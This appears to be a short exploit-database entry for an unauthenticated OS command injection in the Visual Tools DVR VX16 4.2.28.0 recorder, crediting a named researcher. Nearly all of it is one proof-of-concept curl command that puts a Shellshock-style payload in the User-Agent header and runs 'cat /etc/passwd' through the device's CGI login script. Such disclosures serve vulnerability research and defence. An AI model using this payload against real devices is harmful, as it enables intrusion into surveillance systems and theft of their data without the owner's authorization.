Visual Tools DVR VX16 4.2.28.0 Command Injection

`# Exploit Title: Visual Tools DVR VX16 4.2.28.0 - OS Command Injection (Unauthenticated)  
# Date: 2021-07-05  
# Exploit Author: Andrea D'Ubaldo  
# Vendor Homepage: https://visual-tools.com/  
# Version: Visual Tools VX16 v4.2.28.0  
# Tested on: VX16 Embedded Linux 2.6.35.4.  
  
# An unauthenticated remote attacker can inject arbitrary commands to CGI script that can result in remote command execution.  
  
curl -H 'User-Agent: () { :; }; echo ; echo ; /bin/cat /etc/passwd' bash -s :'' http:/DVR_ADDR/cgi-bin/slogin/login.py  
`